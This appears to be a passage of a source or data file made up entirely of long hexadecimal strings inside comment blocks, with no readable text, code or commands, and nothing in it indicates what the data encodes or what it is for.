9f69aa8f62786a807027fb675288a083d2401b692e97a6509d48812b27f25b85c9a514957e5d2971d35a4b837ecb460ef7e87140ad68732f04e7c6b92e9f4cd0509ee675780f002592d9602bf9fb4225af223ceeb2fd4269effe42927c17548fc2a8c0ac7d779b409f0776e008e6d8c4337f4391a90db2b1d4987b7ab90e67c467c236c27cc7d6a1d280053583730fdcb37520c652f7538aef02303179b44c6d961013a41c2497a0a3428a933ed30995220c1badc29d4df25b6eba4f1c9a8ab4ed21e41a41df74d9c582ed118090c64c89a419750fc50de0f6ecd3444794d31c93f790908fcb2c2e2b143bf1e3541c43c18cc87f164c8e256923d0d6d45c2b5ecc265547be11860a50081be8592d9e3fbf4dc8eb5e4c2bbfe764a60667c0a941fb0a1b830c540a738562977c978ca74450dffb34d1b572ee725b406b27fa9fa1c527c39009498ed932e3eb784dfed2cfc3dc3c82324fab315d53e407297986e14f9eb81968c8fe3dfaebfdcc070c0281fe2d4593d389392f3661f86ef0688b1038eac2febf8572bf8e205e2f308b5c3f47d43ed229ce77c633c0a68c4a85928dfa672d400d5152b068fd50ec37e63b13c29bc9e4a4d933f96cd6925e35703b75be95408482d4d4ac0db6b5cdbf1774dbf18a1071a98721975ab375606916153d1e318529c0b52d3a454ae68a530849236eae5ace8386737c380cb2b7ddc49ae7ca8d97783896f411365a9fb23f53a0fe0f0b7fa786f1170052d136ff9de7064283734a56482e175cb3d9c956a3f0eda2ce0c3661c7e532da38c35deb199746dd87c8463f27ca601ead3e9f960bd6f0c24188f67d7a2e4b1168625c11f9f3f28da34be3871bd69b226f041ed481a4bb98868147597bc14e4093c9c57dc0efe6f0d4d20fe3b31b64aa6446a141fe5c6436eb36c991bece3e01bdddd47e65257898ea7533adc38c78494be8985a04b899f44e21b6a09445b80b41ec387be1d6d0bc358535bb13a89aeac03f22cb40d3037fc2e749e462fffaf539cf0a7d0ca074b757178dea423f07c49f50886e2533142245f61ef1fcb21ca2e8fe099dbc2eeb9a53cd169af925633daceebbcbd8df9db99761f5c426b4192a0cd4b574f7582c4790a1992158d6c53015ac32672529b54f5e692ddbcba376d3e0899b3b8e386c4ac0950486d66e68740785fe762c9e870051711c325e0f78fb3d1c8ca10c06d5c936ef08c84af8f1f653f2ae6d568a9c0d9f9a3b0ac6e4caf8e4e86bc2b8e670b8a4f4f95ee09993850328def38579a2fd590149bba76f9fd828a0a3e27c624ecfdc53f414c90dbcdb0b7a2df3d8301ab0f369687f738a90555cdf71529a2110cbddf05f85f36c535f88182b857233ede5b91d84fb2851fdc382938050383350ac3b60567cb44b60c5d5c496068eeebf6b783aae5969324d5ec213c6c1b64ef7ac3885b041e7222dc75e932ff69410ceeabde631e23de96512a4a499c35905cd7a6ebac8f7e5dd4b901f303b111409b432f1bf4d316e9535580e25a1f802b1db3b34d25197de8e7b180ed34acdb5726f5af31609f441d80e68bb77b503ec0034ef54e2cfb5e3cca8f667d4b1701df893327d724eca2160b08114aa4f205afb32a29e9caa913db63097c15449e6927dd8f12bb0c3e8d9cb009ff0bd47501bbaee353e1e6fe42725884dd27399ea2da11a3b575fc95876609ac44073bd68bbcbf697738167012fb2077685a6a6661f5304f987b8b5653ac4e9017e7fcd930a52bb21c3ff51e7fb598b8819b695f00e99385292951b75943d0639b2f2d7fe0b2ffdc0b8a84a2d2e0c8e6174f563878499b5c4438ca2056356cf596cf3c43cf3b7a6eed5e4f01c67338d20dfb3a1a2103b0dcb436bb37bc5f846b0cb5ac5a421953fc1a4a34d9b84e0a9dbd11309ff3cc7fba2e344a360d36bcca91624a550de5cb5de39a920b9b90ecaea8a98493417ebd90cdf5dd71721b89c27b9d0e7dbe6a984c2f52e37be2678c468624c9c9e125b26efa8d4c78e4f41c8fb19e31ae404275c0e35c734867c98f04c260bf0e0ac3be0934fdbc1953c95400aecea1290e1b4270e285b4ce56be2dd4ad9956a1a6e8cc5397d182dc1196aacb9a4a68f4e21d0f73fe9ea9aa907f55bb67de80de75d3ec06785fe14f98d29d0c6541c4e1bcc977dad254fbe54b3a210d813d4641075d544c35f1cc3a13be6026123f37f1a3a6f5c08dcdc31c40f1d2e7165c86399af6efec28efdaf82512b3ffb67*/
/*406dd542400feb565b7efad402b85a60553f631085179cbbe454abf7736dea2ba89249e685fdf6b0ae251cb449dc07a559fd75b3aa22f6bfddb0885b6a7c86a9e8d322c0455a14c109510387143d5e53eed33992898b8bbfb71a8aaa85d8b4ba25161abc16a8207c403bbee37b3859097142584f3fb147c5a6f46f40fe2f6b6d1ada15e66acccadce8b4204b4ffda293cd916b5eadcaa34f13498c800c5fa85ef3814bc8e7d910774d4f9dcdd5fd947b54dc5ab217edc3c3916dcf4af86356f1dfb2ae5ff318322cb0dc6b4a8726f63ca65c60f51bc9547f291064204370041ecd5acf2cbe59dba7a81f4d63fa5d7851b9d56f11553241f43dbde7552591c8b1500c2244237863dad651df07562045778b1973977047d0b9ae0a318f1b2af4d03d1bc85896031ba4c3c4d20af36ff52ff27f71244fdd64f2a042e520b32e49aa94a601c798e83b9c5e536dc372166b11a871ad210ecfcfccf17850c04efc6e0dd3f09ec1888b7b9e993591166a3c8feb16ce9a96fb78aee98c5006d6236518b1f7d19916d136440e24de8ba20b489be1fcfc67a7019a4b68ea0dd5ebc2f1fe50674d18b669c8154ee7ac295394a8f06258435fbb219c169f8735461236739e5fe621c9daed67bcf2c9a9dc6de3786652e9a8fb8b0652d7231094346c2c067c547ed22e5b610d94a72adc99b55593832af03bcda8a17360b029eccc9c3240df41718a6d4294bb116ddfb11e18810ba6dac2dcd59f5ab07d164962d7e7543252280114150e440b0398e85fc22fb557c48929d49e1bad1c5abee4e620b6fdd42193d23f029bfe69d10b915eb9465909a14b970448091f8df6a63920423af2837ac6617b8b598a0dcaaa11b3c305f8cbeb503f4af2574c8a86287e577e61ab4f81e585fc662a3e3611fab1153adcb71aaff3ecabc276692772d1e65f522729245bf9be26fea240fe85dcf832f3a7a0e77bf1fdcb184fa1f9577de8202877dfe74cd962d9e188ca8c10f2955c5f18e0bbbc637e06ec8a5b46660905deea6dccba8ebf2235a34f283d761a7e19ba506435177912fbcc76b237a713527e2413b6fa0ab5dcdf592c4dac9a3965e9e10a6049c3ae2ffd03b64660a785bd69144796ab74e7a574c08279624df31fb3267ba4faffe0354096cf30611ce4b393f2d404cf42dda02c0c6b7e13ff44fce1978e76cb73dffd9f384fd4579492f4195a579f5d6b710448bafacbcec9bccff3666ed3443fdd75c91a022f4fa8dc0ec1fd14f25233489606f91c2da7dda794cfac69333d343ad9b225d13d76a7b6b28089d4226a473583bbbd1bfc379e354e184a42746d0dd5514ff0f9ea95c7ffa4fc3e6c5395a543b18d151148a70cbac09ce82dc3b875f1ec58a54a1415eeef6fa46f5a45a60a54e790190d914e9b9d4a7d44e4f7ab8ecfbb31e2e4b46aaaeb876b4152210c5c086788bc5f15652afd3ae8c822ff5937f6247a7ddfb25b7b0fac0780329b178ea4f71ca40094ca2d18b8b33d15829bb680d353f8c94eae125cdee15b39eee15dd4f1a8a333788464f4a6db4547481578fd56186656c2783f06cc78ea4772954844b9afa81540fb462ae276cb7bdeb0dc25007dc7a5dd44a568b5bd5489dbcb3808aacff47ab5166d677db129a0618b5f959443b102e2baea9635d7951e69ce7638aa139ec091bb99c6d6945c29ba515e7d648790b11a12f3795b899097ea1eea2b1147a936f4ca3b47efb41c0f78d755f7b91ebbcd9e00d9e05716bc43c52ad7828702de5efbabd2b8c21c09f53028cae653db522a5cf4a3ae7b4ff911f00ae3ed6ca9ca3e88de002d148ae6a4fd8cdd78ab00aa65d12dff15a6781e36872f08751abdc0ee7826c7c6a9b5739a0a5ca0627ad96c4b9dbb54003910e6e2d951fcb68d7c861b013ca99b430e01fc622d563ce3e16bac32815b2bbaa21223d870ea4adb543b66d25ea132f28ec7d23e0383dc8f74eacd9057958494b56092bb0c4e39bb3bc376ab629ab6ada3b77a74c486f4e14e5b1286d8dd31838f4e449374408a52dd3cee17439b60dbeeb18bb5b5d6001903c8e9ee28e430b6f13043a00bce0c446e34a58009eea19bd002c1e256e55e3e2d16c32f232b91cd52297d000c11e50b743a50b2d2e3226ffcfefff3367226508046238891bba5ca6dadb778f9cb3614f542d7f586fc7bb536b65f58be6bb7e978cad83ac44facd5930e76d3aea3f1450f5c6c14809d2f159e84bf67c89e18c2d47e135caa864dcb32c4ccd47008b318e059e0b4e1b973975d8ad3e95d8551f2a2aa394baab5d95b14060c943d18cdf9cdd5ed4c70348c995e0a0cfec63a39df0c1869b7d9e9601252debf868ccd49c3d4d0ad094c997d1e9f4180dbe52b706dd05f67aebc7e6a17c3f021a4be2b427d6853a8a249e1e1244bf52877974a192aacd562052f8a714dd58ccc3013c6fc5cad4a367c2f35e64a190ff067b8bd5a8520a2f1070c06c4891ad2dcaa65d98d47cf0e329272524dc2f8d06698b5a5067937530a3e4c75cf5fc9f07c9c0f46cf22d1a04e793ef17ba1c83bc5ee145463ae6152f921e1e49ec67da57dc409cb8f8c151ad91463a29bea1f1e63b91b2ddc68696c448aea7663f880f9fef66f87d2d414b992783617171d6420be8acdab346214dec4d1e49409f8e1668697fc39a7d821b6b0342c4b0cf07ba32716245f836a5fb699b9e16bb80205567c3a6516baf8705492e266ec3d97b400951127932c472f4f4fdfa91e762f82e7f5ffbba6911d8064b1c136f760752cc84eedb9830585396cc3536601dcd5f123255a84714380f5d86c2a9d43bb21d24c95ae750e75*/
/*5cf6fbfa49a4c5a9e937a2281e421c3688b774f166bd61bf8b959deb2476e4f62b011e03728265882b43dd0c8fc27bdec0f67922876770d779f9b980b76938c3d820c1941989b39334f586d5c26ec3c899076c609d00302487c03baeba1741bb71c9ee353b4bc12f1aae31dc98ca2f2cd07c83c9b6b71ed1da09c7075d4ffc247f5345fb8eeaafa1eb065f9a5b72d0c6bfddaf528fabba265ba98ef486a75e28c06d22cf1ee4f534315185180a496da8270bd234a656b02fae1de26f8957785ac3eef297cdc67d5f3065aae80f0fabbe639cdad3b179c03c4ed887730e7cfa4e35c603f078a5e9fdb699f318e5d99e9ee8d0092150a8e65394e0f5a8bcfa4a6ca9e7b254a21f1068a8c5394af9feeaa09cebf09329616716576d7dd8ad0b896f384cdaaaba96be300144adc9e89fc5a35452ba19f90557e772d145e0bbeb7bb48fac8e9ac1dbfe7f2fbd86b7a0d9baf6df4fdc15b7b2d5d097d74b907ea66ae4570155e584823ea68d6c797a6f7815bf69032966f411410762b473194dfddd23636cecbb609c280aef912a972d6ecdfe7f5acb8398acb3918904e0d839439bafda6915fdd7786c83169c910fe7b7c0393c64588814fb8d00f9c6562070176118ae299e9430756870844b7d3ef9eeb2416d65c6523e72a9ff3cace443214fac3872b8f33377df2b01f80e857084fb3cd35afd5c51d5c88cefa0a3277b5f7814083cc82b16a2b4caaa8ac6ca60ab42deb88ddc892163b44032491e47fcbde2c04d61273edbca4123e7722e4d5d500f483ce3fa537a5630089a105b0adaa6d6cd5e9861a7e907387ec22223796dd25872d964de5fca4bf6fd5f529c5da9095995e7df280f07882411934fec406e68856d7aa3e8d0b7232aaef4a9b330a8eb25a17d47e06c79a587ec43f4486e90ae2af941012d2d57f2063d0b0c2e11e54dde653ff041b8811857b04cc8acef79c0c9597caa96a22ef3cf53b0fb56ea50a6b51a3c1d83d50099746806a54d13eeace9be22e4687371fdd1a8ab2540b23a18dc463cae31f336a83e412f489e36e351bb2e689c87a0c1ee7838d29bc3484738f9e6852aa6462b808d62bfb2b4d6e865db06315d5733c882fe0c8e80a07283e116e6184542a8ac75db88e4254cea4f00fc8ea7bd483e4924a6c39edf269e21f4effef03abd6ce9ae76b0fb9a4f8beaabdbe9acc2d13b09cce2aa6a9d671a232c06b1fc0f5bf02b44e1e4008447c88a63dfd9da9fc0d624179147a1e05b4dcb04d646bdbdfa85a796ecdf3ce2eab281f73f2846ea80962de54922a823eab81294c749e9872a0655a6addaaf0530c5759138d0fdfa31113f1a7d1fcb00edf743ef423eb22818083f0ddeff8c692de0927b57fa7b958238c3207c9253dfba7e28ded22bbc015cd149111bf76fe0da555286d7819dcbac0092363844e6c9052333111c2f6aa430328edebacc7f20b6ceebc07ca3a1288e6564dd201e5890db597d06193f12e1888daf103f62dc7248ed24a270cb98c584ef95cbbd6c70e17d808d48dbad96af5071609b226458a546aa62a991ab428b04f07495cb24a02770c97c89e1fb068ffaee565a3ce52f8c15c49956b112b09331ed62bd43dbb8e2f4f467917a9356b3f60e375cc43b67baf66f2f728d69e4f4d6936c6a227ba679c317c4a5c695a1d1238f5612b90d5237ade0f8a9e19d596b86e2e198c472987dc09794306f6071823fb164bb7c88dd19e5992873afd64f5a09a11ce945424f9ad4e4f600fdb43c05a9d7a8f8bae001b7cc2d71fff62a4656974498620f43c680e50d3886b17f8f974f4c1196c32b2ff739a7d1d1dc8364706db1e6faacdf8a9c096a1e04013642fc0446a34d772e1c668b4d828c216cda9fba3d8046bf2adf6c239db26e056bf0aaf130524517ba2d48303a25de1a66d0114c23169b64fe0c7a6f8a283937618082f45a9ff77a1769d991575de1e12a27b2a70c6f85200fc20f842944ead47dec577d72299be0b8d576cf8fa51f978e910bcbd8f29ffd98951dca8e59ce0760a09d02554a4f8ae1b83570787a3a21bdcd12fda4f5e2e3544e7f7b766c3e47072e9f82fa22769fdbe34224fd2da083402026d9bf8aa3fa5fdb7db15ffe576b875adf0fb974d0a7234e46f989c2590aa0c12150e280fab002df71812f4434aa9a0aba4e0bbad372440e5d69a4dccc6ce58c2d24f8b06a9495ec8a9b4b4ac8b338a8b2e8ac8119ff0c731bf570369645a5b7ab06d396ea387973c1b250949559457ccb04658dd8776bc7cf7464817d52136fe49e163249526375b9159fc8ae4b825859ee461b01da247b7265f3a2f15251855e14f2828dcadb0dd77a87ff04ae45aa000e1c4ec522dd9cbdcae6c622c312cdd29537d85a18ec103ff5e509aacbc3e36a10a7c9d66071b3df9ba4c0814dc618390e489ab4cc3b6804f533d3c511de6f0c42c3c56e0879afe30f3a88f97c85c6c1dd7747fbb3105a00a8ac559ded3b87cd498946ef8b2126a0df05c80ccdc46af946185f6acc7c791df472cb40629635dc28ed26f48ac8c15a590f49dc27375222cd2caf5053ad5d344ecd2a73199466ffeefc64fcf36f6295227c1b79190a9399d230c5999f5e805e7f7cdab3b0128607d1b01173e0b63d32c25aa6836e9a8f70b8814d6259ad45fc269f5b778bb8f1d7122248100cc056e00e46ca54c5b96d18089425e54045d51fd27eaadba4c55e30d1910e70bc01628bed6eb362c0753f1649b9907196b1fd8c2b6f46d993fc60de081a4e31ad3bf9b205c2ff165033f904ca9a78404975643012543528ec3fffc59d5dc5e00dfaefd829efe6755ff58f*/
/*48d085070b780587c997a369fa7b02bb777c65654cf55bfaa01ad1330c8e790fccbea7212a4d140775128b1ea9a7b13fe952a5249ec8accd4157de2f30f4641f442b716f5a41d0ac1ca3baf84f265adcac2d3d1376db7d166a10785b974f757b01b12f17ad389585b96a5e04308fe8f3d0869db1f6402529652ab6ec1fe0634aa6a4800bca03aa95d01f0a9ba0878177c51e579f37fe7f8a278b599f564ad14787f469c460dbd4dc3693be8bdf08eb335b3007d286f8c8a9bb607eeaacc7598e5af926b250b2e1239961e21764498d4d8d462556fadf6acf6efdb6247b5de9a44d9084543750ce81e8716c87c51f4f2919fc01466ed388aeae5eb8090069b2bb92e7fe1943a1ba01959cbd9ee36f4af89b6bcb7f8248c3adb24487fb83783aa53413a9914807ea66fc7542025fbfee594810700c7e12c99f06af1162b2cadf558f17c3a925fb1c779785e1e6244ea9b00d3240a05a4b983e3cfa615fb945c6df22d2aa27aeeb7df67d529176d22ce59ff10faad0e2512cda7e463f4a4ba1c6412c6aea6f4e0adb40cb27472087c6ea9152244b2e8213246e788cf1330aedbe7856946095fe9456a28ee629769a2c3f198fbcf5f43349e1d130f77c8b198e322671d94757a0bca8adcaf4fd5440a21cb7a31c523e54fc38ae1f03119ad260f664d8a3b0020dae2b6b64829c8526d992ee48cb563e433ef629e796407b1a0eab5440e20862bc57876403a467afb043f51158b2414427db4328b455891ef2518796fdfdacb004b4d723720b41ed3f4f3b9fda12cac754324dbad52bff1ab8d60a42e3a147c7f5ff6bd22e44a0162bf3034ef22f8a4583b2d2005e04f6d97c38a47da0958a51126edce64f7ebdb0a25e1891fec731e502361cf36188a42714b2658e178ddfa66b25540daf6cb1b861b164c13dcfabbc28c10274dc9763d48b710eadb2bcc577c09a7ebd1852885a40208faf0eb0373e59db1c76249cd5e2f5a4ba0acd0730eb1851b8fe260964694b95856d5da16f65eba2df2f7e1c93aeb08cbbfb3803a5075effd65c36a61427962ff4d19a9ea3fee16a70e5339da5c2a37ae91b3e79ccc0215b1c1f3f507b614349e17b180c464bc469f4986c10adea1d25b24e9af746ba8b5c2612945ee882e686ebb2ead1499cef1c79644146927dc5ad8b0b20e10a91e88dfbb0d603eeac6efe790e2a00531ca8e25e057af2d72617cbcb65739b152dbdde36f9af65c2ec48236da76eafdf15ac4dfb6129e6b6127f4b315c83b743a906511ac0419ada72025bc808eec794ce3a886b5a292acbc8ecfaff7ba4c051287cd8b791430e92b229e5b58dcb5750cb0c44f15bd6d0336287e67a89722ef8a52d90372f0f15c0d23f35a31b767cffb6463f9888703f0611a2e4fa6af3865fcfa41aabecbf57105cf5566d12bc6c45b35da58b634ce9c10ac825cdfec7b3cb88d97acad8eddcdd570beeaf35e911084befd90c6a5bba78df92d454c5140a9111dad22a9a96f70e18324ceb75aa0158e923729933572463c297dbfc8e763710d9e23683b05701e4dab1792df8e8b6e0d8a503516f47a182559afe60d72a4c2503e67b97206c00fc4a6d5a2a176c916e2b326108a12a9145dd284c546ae6af321316936f1656aaec38c5cf7a37b3cc3b2d7b8ef15196953b21a5a923631c9d40d7ba8d37dbf5d527db4ff2ca15df82d03b10375b73fcca7ed50d49f60830bfc3b0397d83120df465242d3ebf803d71cb885393248edf73897d7da48d00e183d6b078db0190ada1cebcfb6c234b7092c44d5bf6e99b2375ef535b951f79031f775ce36f62c29857a4e77768ccfdc33e18d836a9c8f045cfe3de979e0c3750733474c97e8e1e11e5f9e5409addd758c79cbd6cb74b481a8b03afa4486c7a838ed1af0f8e2a94ec38a0f6c684aaabdab68fa44263a6e2536a8a2e2ced336bbd538301776ee8a42d4aabf04fef04e21cb22d5a264f5192a83812e714817ca930a166acac3bdceb5744bc0273a57cdc0d0cd4f6ec250dcb0c7fa7dfa884da9d9ee82675f09e0686f455de63f7d5eeaf3cffc33b2622cc3ccc40fc90af18e5c43742b30e38ff76585d1e522e94e1a033a9f7c0138827c9ac2dec1a0a5d5e8ab8c52f8d08874d5cbf3bbf6ea34cb7ec71fdecdd082a08c8db503527bc977c0be1ca6f779a50930d12c164d0dff32aeade809d741f25897d6b4b9a563e0a16269583a0de08a64b2a4f71cab64f4181453dec34b8e3e292a8d70f0c9d843ece44c064b9ebcf00ac249e4be8c74abfebd82d8460c965dde4d6299494fa4ad5eb7037e236e0c662f0884f283002f9688505d123d539572dc377855fbb9fb5a1d241b2ee529336f85937acb9ba6b7dd0d63bb16df78cb1a36bcfa2497b415bce284a140aee5acb66fe0a37d7ece0bea7b1dece72fccc2c1a5e8cfc5f80e8694d92c61aea693677afe0715931e3b8a21e444ec4844621551cf199b4b0800186bd8702795f59c72a0ea00c8986dc5485ac143379a95aab88174bd271eaaccff6a11f392fed3ac4026186aa7291ba71b105e21d44d2156f12ac3b4f91ddadd17daf32258d007f613fff8def1b0f55770b962d3defd5dd88944afc578c9054bd0e0a4e9757b173c49d665d5042c9f6f4b6601fab844ffeb3970927c32dc40551a995b649e76a63ab14ad04e9c26312d92dee5a5872b19878ef0f208f54e708a5fde5560fe9c35c0b99b70f3805318bc71a0f26016292ef4fe9e6e336ad6ea256c96345094f3bedd3a10d8cd59ee7f1fc8cd6b4dd649cbdba3ce014e2f0f06261050af3c2006843f27f9c3e13d59bfaa8b98ae96159*/
/*1b1f4477c62b3cc65f1cf8602ca91031e8f5c9f3d2af213f88541eb5035172c2f0af6742992d89550a15fc57f4d47054ae6cdc84f0c75712afdd2c80e2079809ab388097a6bdff5eead464f232dbb9a46bd95b0a241657c42ec6745a648dfdd17f7a95b64bdcfa773fe5e877ca16b2812e24f056c1bf6e86c2399b9e390aa718ea1f9519fbded22aff4bf2e329f6dbc8ba81e2f688ef316635fcfdd3ec9d0d5ccbb646a93a20d0e2f9e6fb0821522bd27426a36872a708613bf9ae286dc167ef61091808d2ba429d72e80cfd3d5aad43aa8af757b13f1771efb40f3fa608cca230c9f192fa0dba98b02acbdad7ac9b5d84d6b900cbf879531863967d8d281d7020b154b1584ed9814d34b5e082438bf2abc80c601a6e4be212235399ac1f93823ba54672aead1e9ca22e03d3eda1a0c515a22d66eeebcd081b780f1c9a847fc551c8a37b23cbcce5015f86a080df5a6796f860802b3e142953cbec69935be69fd89c0d46c2652b8ab8f057553dc142fd43f4f80b419493e7157c329908e8ac788d67b9cfeed9a12d0923894a468517ad3c3c87179c73354468fb521d36d57f5d642a9efc2d7910db2aeb982b6a8b48cbd0f6ea0babbf2b025e3c47adcb75585437b458884fa596d3febe9d4ad18e0d7c0db8e36f5c50000a8ec722cc8609c382685677135b42372014de43172ee99f5ba7cd8a9a1d9db7c54d81d1a790e8a697aef2875cca0419c53703e40e1e1f527c775a355bc672a7734324e5bf6551d141494826fee54d4cd55650916aec6357d0aebd927ca47996382207e5ec4bbf57e184b096d23e307ff2781aeb92f5a0d0b117a996bdf92398db1dd19beb5cc0dfb2c225db37f20159130a3a2a746246741b6909465a09030b376c726ca74d5570de823eb21d21fec5a35b2c1d945162eae1772dfa685de7b74b5626cd1e615db81bfe2decc75c12c73ed44d8974efc0cf28fa4f5054fc90c792882891563479b6e0c99ccbe694acadd26d2ae80fb3eb625a8d90db55e1b9b4925c88021176cc5c8f6029cafda62b0d9f4fc832572e481a0ebb569f02ed952802b2015a81e1e13003bbad5493e3cb16549affe132644aba7f037ad084f03f8b1f862aebea98958aea403f6d28165183ca408e8666d093cde642a0e198ad354be773a7e24a11d1403a06a96459b63896a413080ed5900387b5482595ca8a6f24c3d41dca8e7d167315c160b197cd1fc54bd5394ea666e9104cb31e10b3cb8ffe794d3a575bcdbae497b6e4c6de7382d492b61925002a810239753d1663bbcc3cb14b24767936b19a3e59e3152e892d3b821aaab59789efcd9e66e9c4a602c2479d3a573b47894b7ebc9abd527daa12e511975f0807a2b04262d1e2a01c0736581da79ad42203a0c3c9e8eb875887a28ceec78fae4ac0a83bab8ea3a1de69f6d88dab847e71cff0c528e6acd4f49b5cef65121a030998de2d9420d8d3f2eb113a68636659ec79de29329f130a39fdb98907ee3e2dfd4d6ad6d587a3d84a27d7766c229ff88c473f05cc5b88d2bdf5eabf1c62bcaf193ea43bab5edc4f6130cbb6ace4137211f5cbd3917f6ab0b2d89682d20b2cb33f05b6faf45b63e0565e6a06fb9c1928e588ed6b32a914207443cf7d2e9fe0e163715bb00cb21993179911728f442986627a6c3e20ec6ca155280fedecbe756b0e2598cc9e24cc8a5d3cfba8c581fa5ea0bbaee6789fc944945efd8377b826b3c622da8b03aa07d7144224e34416a83c9aeb685cfacd5bd7a791afd3f8d62c773199b9acc5d08ebd30ba088ac06410f0e8c6e70e4b505c0054c00063fe94519d11a6abe3689587d983fcee9e8925331d1fdc2a831e7a07ec283782e3a515dd4a9f90637c828f07c98839ac7eea5ff17fcfbe2f5858c9f01e20d032b480481175f9b782dc1beb5f8acad0adf8a4d986987b3a2eb4c8376f5620c8341d3940ef0bb15e54867a479c06930f6a2dd036caeea2fe7681bd4096020454cd7d313e7ea10e76fd20accf26a4711e2a9fdab5cd77b3226d28103b9358508805a1dd07dfd95bb30ba2558e8d5ec0e230b2f05d5947e229acc5af7bb42c7bcba7f56762b50f3ea7da671d82922c0171e24ad442edcfaab7aa52fd3f6e1d50d96667aaba74791ff5ef66ce1cc57f9efaae85568b7993e5540a681a190e6c9070c301ec7b3cc67abdc04c5110a6c053a705eaaf769dd52ed8c1c2a643cc7b5f276681de46f161651d26b75212425f5d9e7d6728d057656cd2b6d646ff0953b39f6fa4645e630ea658d035c7f5dd1ec692ce6dfe1869622142fdf6c750f6948f455269fec15f3e0678bed90ca79e5ae9cc7d8900afc3a7342700f2e7582c99398328cdf33b48688af92dca8f27eb81a72ef05f6403091d3764f4e9201852a77f39bc786b3438589e49c35c3d1bb0343114a78962a6b684f76f04389fd0d95f25e8005fed06f3170e19828c4287cc0f06a148cefbc3bd1af8df4a145ee8547729d53c7c6060ecf2edef40fc481dae3fd3f7dbadaa3f0075359d40aa22dbd1b7af005d4f6c896c37f8628389306fd6cadbf643163c1da9264cde81bbc19f691b1c75cf4996f6e32f70941876fad216545515153121b46e05f646286967f4bc6b924711df0dc6fd690363ea229bcde9fbc7be8fad7736c4c9061ccf4674deddda9bd295a44e1badae52c2a1a91eae3f997cd90913324c94ba5d59a1664b3fde2a37562ccc99ddd15b8a1045500afb724af0502e99877d7504b5b79fe3ac741784fead4fa1ad4c7d6f75f41da894554cd0912b270b8efb221cc857e4c0156269e398de567bf750fcdd27b9f05e89*/
/*95ebad52e83cc83c29c0cf20fd1c4529f034827dbdf6d07610e04a78d27e452aa4f2f6db60a58af20777e11ebe5d99f732957ad51fe8a69fc756e7c21fdb33704d4ee2a444ed3b058a996d40d83eb79b4969bfa55f9baab76818f50bd14ed3d8ea73d6cc7ffe09fe413846f9820b323fa88961654f38b3674607bd7e7e9d1419d8f96d07ec24a6679300fe8b50670cfa5dfc7332c855ee97d5d66104f2632bb65be80560ab3e0df3df64bb66d512ab3b9b59c65e5d491fc7262204e689bc841e904795081c014f00a27086e62b48bebffe5eef0cb7bd911f1abaff345a0825fa65a876b4590cf21bc77fb204d3cac114cef04da667f10ee28888c504afd099cb465656e91526de9235a782fe6f775d2e5a86bf46b341a2074848d36da2c85ca358311991183b3e16e3132ae29dccdeb23441cb42beac5de2bccb40cb965a353a3efe4c725496b3b05f04d396615cb6cb6739152ea99a4f9e232a784290a51fefcbda6722e8b2fef8519519282a39e4f1bcaaf4af5ee6c7c0abdb6b1505f57ae9c671b552f35ad479be89bc2d69785f9a0030d84ca178ecb12d0768004a834db80ec8ad4af1974e835fb61446c9a63bab773036556589d6e56b546ffb299142a4f54cd78873cda155dd9b455d41c80de624ddcdd0f66985088200f65a95b813a011b8ee71aa253433e2f56c6d07992836cf12e26c8bc7751be02ce2c5a2d523481a954ec1c40f292e0b0738280d2750d83e52698c8b04f76e2aad93c631f828049c4aa769c5bd269e0885942d6e844b78b89f2be819789f477843b88aee86502c4acf20df630fcd4fb486f8095d2d85111c02c5fae1dcf5b54f5d856b2ed6d1c524efdb0f443b29b17d85953cee10a91f1f287ef4ee1ed0ab096913235f5d44c1f4e905fd220b2e88ab9df9a8c4a51a3572df748967d800758a60637bdfcc129b86ebee66e9d2764296710c9f48a9402994d72bd7c0ccda4ddf8bc801dd42289161c50f7a7dc9bfd9ebe6702e378fe76dc205dc66cbdaeeb715e83819fd39dc9a660cb11c8e49c1e5ed2a2a97d4906e8bff802874eaed283c6e5be43d9a52c6da6d2abc080a3981e674a6a4d76ce3cd9e0a16a8c739fae3f4e4888ddf0027a889318cc7ca822448fad05377211c34acbb1f4504ad9ddbbde84ac4e1285eb72f4fcb0ebce5b7349ae79601084a31ce783de68dd910984c8212605369243f0c3dafcfe947cb49e4a1c2a16d267c22f46c64cf9a91ec863113b3442a2a13ec8c3c76b0f5c77986c2de15185a6cacfb8964f311aa7046d36dd63ae1764aef2aaf1ce3078b1ca75269e3cac3ec88bbf5781e487592fcd345bbcd29dd8fbbf3e435cf951f5a8f5f1e8525be896cdef0db00e83927b1f0241f95b13f14c007e61fff20410d187b06ba5a170c69115178d5c4bcd935e0ee0004812195af66e839c4aded93b78bc5db5ec1fe86bfb80a52a858c2da30915e966aa3e27cd7036ffc5a924eca8704fb19b106430cb1e06e9b31ab0cf1a3b5974fae4f2667b01580dbce8894fc25d657122ed07bea5ec8e7bf2e36dc390dc9e803f3f4699ad3302cf3fecc470c374ee6cd7126dd3d77048477504afce11e24a3d3c1a8335bf60f648c0d93da67b79f6264b886fc4b19d65d55361389ad8435cb1296051ba5e36e33a52058ca9f7a71af98f32205fb3e7dbc74823763b18a52afc0cd86408fc75e85a17e42de082504b925ee8ca6ef8e58f8440c8c723f5aa409ebef8a615a8c547c1a3de14617b1ba7b23db8bf23ea3e352b7b7a43bd27877c64d1fcffe006eef80db8689a8684cc71b312d0a9c5e7b08c572032ee861e245b6e7bb223fbe7a43aff777bd4b9897e0408cecca1c6564e4e5bf00c166b829ef92efb7604e1a4a54823bd45d91044ea292701194c50c9f42be7dee22bf3f5acf12f33aba7c38a2e62a45dbab6d65da7cacb5954e61a0e560c6b38dcbe673cca7351087ff91fb32ba9c527fa94d4bf97818a98f96972be07908ceb467f52a2b287f3ff98f97a26d7aad5d70edf946df4685cd1260575133fb1545a51ac05befd285571e3be66c7441cfd0d0c7177449d144fb4565be3bb9101d66af16bf0da5dd7aa7bbe139fea30c0cd72d295d0a1307bc656ac8104422b5ca98c4479b126c9f34fbdee67cc818c01d13d02e3fbc86a3923b5b6f16971962f83309bfa41274bb1c78cdd6a370112cdc82e33632181360db3f8562b586841cb40b541b140bd427b8e57aa99c53f389c372b583fdaa851b416a9ab008a524836ffe93de9dc5ce7fdaf571f02e2cffcd91ea788ce9edd75b1492a6735d3eb27e0748c33aa7d416666881bcca8aed5a60b2dca6f05ec3474256e0987bfa85be26a8428bf4e384e3e7974f769820628fc89c5e757040799224b07f8cb1a0573dbd018e0134e9a8ff4902133f64fc413de1639b55178b8e1619d792c2fed48c7b2e27b6ffe3e7a0436f85cb762a06c9ef313473140b7d2a2cfe90dcb10d9738cc34ef2a3c97bd1dbc20875dd373cfb84e1d017a84268e028e980253078ebc5e9f057ec368af693c72298f886d7354021de82a2c74482a6b38909de0023788416b